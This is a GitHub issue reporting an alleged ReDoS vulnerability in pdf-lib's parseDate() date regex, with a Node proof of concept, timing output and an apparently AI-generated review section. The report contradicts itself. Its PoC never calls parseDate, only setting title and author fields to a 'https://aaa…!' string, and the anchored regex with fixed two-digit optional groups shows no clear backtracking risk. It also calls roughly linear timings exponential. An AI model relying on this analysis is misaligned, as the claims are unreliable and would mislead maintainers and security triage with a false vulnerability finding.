Skip to content

ReDoS Vulnerability #1773

@NinjaGPT

Description

@NinjaGPT

What were you trying to do?

Summary

A Regular Expression Denial of Service (ReDoS) vulnerability exists in pdf-lib's parseDate() function within src/utils/strings.ts. The dateRegex pattern contains nested optional groups that cause catastrophic
backtracking when processing malicious input strings. An attacker can craft payloads that exponentially increase CPU processing time—demonstrated by 188ms for 1024 characters and 704ms for 4096 characters.
Since pdf-lib processes PDF metadata fields (title, author, etc.) that may contain untrusted user input, this vulnerability can be exploited to cause denial of service in applications using the library.


Details

  • File: https://github.com/Hopding/pdf-lib/blob/93dd36e85aa659a3bca09867d2d8fac172501fbe/src/utils/strings.ts#L142-L170
const dateRegex = /^D:(\d\d\d\d)(\d\d)?(\d\d)?(\d\d)?(\d\d)?(\d\d)?([+\-Z])?(\d\d)?'?(\d\d)?'?$/; export const parseDate = (dateStr: string): Date | undefined => { const match = dateStr.match(dateRegex); if (!match) return undefined; const [ , year, month = '01', day = '01', hours = '00', mins = '00', secs = '00', offsetSign = 'Z', offsetHours = '00', offsetMins = '00', ] = match; // http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15 const tzOffset = offsetSign === 'Z' ? 'Z' : `${offsetSign}${offsetHours}:${offsetMins}`; const date = new Date( `${year}-${month}-${day}T${hours}:${mins}:${secs}${tzOffset}`, ); return date; }; 

POC

 const { PDFDocument } = require('pdf-lib'); function generate_redos_payload(length) { const prefix = "https://"; const pump = "a".repeat(length); const suffix = "!"; return prefix + pump + suffix; } async function measureProcessingTime(payload) { const startTime = performance.now(); try { const pdfDoc = await PDFDocument.create(); // Attempt to set metadata that might trigger regex processing pdfDoc.setTitle(payload); pdfDoc.setAuthor(payload); pdfDoc.setSubject(payload); pdfDoc.setKeywords([payload]); pdfDoc.setCreator(payload); pdfDoc.setProducer(payload); pdfDoc.setCreationDate(new Date()); pdfDoc.setModificationDate(new Date()); // Try to save the document to trigger any regex operations await pdfDoc.save(); } catch (error) { // If an error occurs, it might indicate a successful DoS attempt } const endTime = performance.now(); return endTime - startTime; } async function main() { const length = 4096; const payload = generate_redos_payload(length); const timeCost = await measureProcessingTime(payload); console.log(`TimeCost: ${timeCost.toFixed(2)} ms`); } main().catch((error) => { console.error('[FATAL]', error); process.exit(1); }); 

Output:

TimeCost: 455.70 ms [INFO] Payload Length 1024, Time Cost 188.92 [INFO] Payload Length 4096, Time Cost 704.83 

Vulnerability Review Comment

⏺ 1. Semantic Check:
- The parseDate() function is designed to parse date strings, not to perform high-risk operations or resource-intensive computations. The caller expects simple date parsing functionality.

⏺ 2. Contract Check (Surprise Test):
- A developer passes in a seemingly ordinary string (e.g., "https://aaaa...a!"), expecting to get a parsing result or undefined
- Actual result: CPU is exhausted for hundreds of milliseconds or longer
- Developer's reaction: Extreme surprise! I just wanted to parse a date, why did it cause catastrophic performance degradation?
- Conclusion: This is an unexpected side effect

⏺ 3. Responsibility Boundary:
- The caller cannot identify which strings will trigger catastrophic backtracking in the regular expression through simple external validation
- The defense responsibility lies within the component: the dateRegex regular expression pattern needs to be fixed to avoid catastrophic backtracking
- This is not API misuse, but an internal implementation defect of the component

⏺ 4. PoC Verification:
- The report shows that as payload length increases, processing time grows exponentially (1024 characters → 188ms, 4096 characters → 704ms), which is a typical ReDoS signature.

⏺ Conclusion:
- This is the component's responsibility and should be treated as a security vulnerability, with the regular expression implementation being fixed.


How did you attempt to do it?

POC

What actually happened?

Significant performance loss

What did you expect to happen?

original design

How can we reproduce the issue?

POC

Version

<=1.17.1

What environment are you running pdf-lib in?

Node

Checklist

  • My report includes a Short, Self Contained, Correct (Compilable) Example.
  • I have attached all PDFs, images, and other files needed to run my SSCCE.

Additional Notes

No response

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions